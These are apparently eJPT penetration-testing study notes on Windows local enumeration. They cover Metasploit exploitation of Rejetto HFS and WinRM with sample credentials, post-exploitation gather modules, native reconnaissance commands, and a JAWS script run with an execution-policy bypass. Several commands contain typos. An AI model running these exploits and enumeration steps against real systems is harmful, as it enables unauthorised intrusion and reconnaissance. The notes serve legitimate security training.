> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/windows-local-enumeration.md). # Windows Local Enumeration ### Enumerating System Information * After gaining initial access to a target system, it is always important to learn more about the system like, what OS is running as well as the OS version. This Information is very useful as it gives us an idea of what we can do and what type of exploits we can run. * What are we looking for? * Hostname * OS Name (Windows 7, 8 etc) * OS Build & Services Pack (Windows 7 SP1 7600) * OS Architecture (x64/x86) * Installed updates/Hotfixes DEMO ``` nmap -sV -sC ``` ``` searchsploit rejetto ``` ``` msfconsole -q > search rejetto > use exploit/windows/http/rejetto_hfs_exec > set RHOSTS > exploit >>>> getuid >>>> sysinfo >>>> shell cmd> hostname cmd> systeminfo cmd> wmic qfe get Caption Description, HotFixID, InstalledOn cmd> cd C:\Windows\System32 cmd> type eula.txt ``` *** ### Enumerating Users & Groups * After gaining initial access to a target system, it is always important to learn more about the system like, what user account you have access to and other user accounts on the system. * What are we looking for ? * Current user & privileges * Additional users information * Other users on the system * Groups * Members of the built-in administrator group DEMO ``` msfconsole -q > use rejetto_hfs_exec > exploit >>>> getuid >>>> getprivs >>>> background > search enum logged > use post/windows/gather/enum_logged_on_users > show options > sessions > set SESSIOn 1 > run > session 1 >>>> shell cmd> whoami cmd> whoami /priv cmd> query user [prints the currently logged on users] cmd> net users cmd> net users administartor cmd> net users cmd> net use guest cmd> net localgroup administrators ``` *** ### Enumerating Network Information * What are we looking for? * Current IP address & network adapter * Internal networks * TCP/UDP services running and their respective ports * Other hosts on the network * Routing table * Windows Firewall state. DEMO ``` msfconsole -q > exploit rejetto >>>> sysinfo cmd> shell cmd> ipconfig cmd> ipconfig /all cmd> route print cmd> arp -a cmd> netstat -ano cmd> netsh firewall show state cmd> netsh advfirewall firewall state cmd> netsh advfirewall firewall cmd> netsh advfirewall firewall dump cmd> netsh advfirewall show allprofiles ``` ARP has list of all devices on the network *** ### Enumerating Processes & Services * After gaining initial access to a target system, it is always important to learn more about the system like, what processes, services and scheduled tasks are currently running. * What are we looking for? * Running processes & services * Scheduled tasks * A process is an instance of a running executable (.exe) or program. * A service is a process which runs in the background and does not interact with the desktop. DEMO * exploit rejetto ``` >>>> ps >>>> pgrep explorer.exe >>>> migrate 2176 >>>> getuid >>>> sysinfo >>>> pgrep hfs.exe >>>> shell cmd> net start cmd> wmic service list briefj cmd> tasklist /SVC cmd> schtasks /query /fo LIST /v ``` *** ### Automating Windows Local Enumeration * In addition to performing local enumeration manually, we can also automate the process with the help of a few scripts and MSF modules. * While local enumeration techniques/commands are important to know, as a penetration tester, you will need to be time efficient. As a result, you will need to learn how to utilize various automated enumeration scripts. * In addition to automating the process of enumerating information like system information, users & groups etc, these automated enumeration scripts will also provide you with additional information regarding the target system like; privilege escalation vulnerabilities, locally stored passwords etc. Windows Local Enum Scripts * JAWS - Just Another Windows (Enum) Script - JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7. * GitHub Repo : {% embed url="" %} DEMO ``` nmap -sV -p 5985 ``` ``` msfconsole -q > search winrm > use exploit/windows/winrm/winrm_script_exec > show options > set USERNAME administrator > set Password tinkerbell > set RHOSTs > set FORCE_VBS true > exploit >>>> show_mount [it shows any pendrive & etc] >>>> background > search win_privs > use post/windows/gather/win_privs > show options > sessions > set sessions 1 > run > search enum_logged > use post/windows/gather/enum_logged_on_users > set sessions 1 > run > search checkvm > use post/windows/gather/checkvm > set session 1 > run > search enum_application > use post/windows/gather/enum_applications > run > search enum_computers > use post/windows/gather/enum_computers > set Session 1 > run [installed patches] > search enum_shares > use post/windows/gather/enum_shares > set Session 1 > run ``` * this exploit automates the migrate process and gets us elevated privileges. **JAWS** {% embed url="" %} github > file.ps1 > raw file and copy content ctrl + shift + alt past it into mousepad or some editor ``` >>>> mkdir Temp >>>> cd Temp >>>> upload /root/Desktop/jaws-enum.ps1 >>>> dir >>>> shell cmd> powershell.exe -ExuectionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt >>>> download JAWS-Enum.txt ```